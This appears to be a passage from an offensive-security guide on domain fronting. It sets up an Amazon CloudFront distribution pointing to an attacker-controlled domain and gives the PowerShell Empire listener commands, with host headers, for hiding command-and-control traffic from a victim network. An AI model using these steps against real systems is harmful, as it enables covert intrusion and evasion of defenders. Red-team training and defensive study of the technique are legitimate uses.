In order to improve download speed, Amazon provides a content delivery network (CDN) on a globally distributed network of proxy servers that caches content such as bulky media, videos, and so on. Amazon CloudFront is a CDN offered by Amazon Web Services. The following steps are involved in creating a CDN:

1. Firstly, open an AWS account at https://aws.amazon.com/.
2. Log in to your account at https://console.aws.amazon.com/cloudfront/home.
3. Click Get Started under Web, and select Create distribution.
4. Fill in the correct details for each setting, as shown in the following screenshot:

Some of the options are as follows:

5. • Origin Domain Name: The domain name controlled by the attacker.
   • Origin Path: The value can be set to the root, /.
   • Origin SSL Protocols: By default, TLS v1.2, TLS v1.1, and TLS v1.0 are enabled.
   • Origin Protocol Policy: There are three options: HTTP, HTTPS, and Match Viewer. I recommend using Match Viewer, which utilizes both HTTPS and HTTP depending on the protocol of the viewer's request.
   • Allowed HTTP Methods: Select GET, HEAD, OPTIONS, PUT, POST, PATCH, DELETE under Default Cache behavior settings.
   • Ensure Cache Based on Selected Request Headers is set to All.
   • Ensure Forward Cookies is set to All.
   • Ensure Query String Forwarding and Caching is set to Forward all, Cache based on all.

5. You're all set, so click Create Distribution. You should see the following screen, with the domain name showing as <somerandom>.cloudfront.net:

It normally takes around 30 minutes to bring up the distribution.

6. Once the distribution is created on AWS, you're ready to customize the Empire agent to prepare for the attack. Fire up Empire on the system, pointed to the domain that was used to create the AWS instance.
7. Finding frontable domains can be achieved using various scripts; here, we will use the script found at https://github.com/rvrsh3ll/FindFrontableDomains, and use one of the vulnerable hosts to perform the attack.
8. Let's now go ahead and create new listener in Empire Powershell. The first step is to use an existing listener; we will use http, then change the name of the listener to AwsCloud, and also append the default profile with an additional host. The following is the list of commands to set up a new listener:

> listeners

> uselistener http

> set name AwsCloud

> set host vulnerable.host.com:80

> set defaultprofile /admin/get.php,/news.php,/login/process.php|mozilla/5.0 (windows nt 6.1; wow64; trident/7.0;rv:11.0) like gecko| host:d29xbnhm7f4mex.cloudfront.net

> execute

> launcher powershell

9. Once all the settings are complete for the new listener, attackers should be able to see the following:

In this example, we will use the d0.awsstatic.com host to forward the domain request to our C2 server.

Before connecting to Amazon Web Services, the application will perform a DNS lookup to resolve the domain name to a network IP address. The request will go directly to the d0.awsstatic.com host with the host header that we created in the Amazon CloudFront distribution.

A packet capture of the request from Wireshark will look similar to the following screenshot:

10. Once the PowerShell payload is executed on the victim machine, you should now be able to see the agent reporting without any trace of the attacker's IP address on the victim network. All the traffic will look like legitimate connections to AWS:

Although many content providers are vulnerable to this type of attack, Google seem to have fixed this attack as of April 2018 by making major changes to their cloud infrastructure. For example, if Company A's domain uses Google's domain as a front, with an additional host header point to Company A, request will be dropped at the Content Delivery Network first node . Similarly, other providers are trying to block these forward or fronting techniques by requiring an additional authorization token or other mechanism.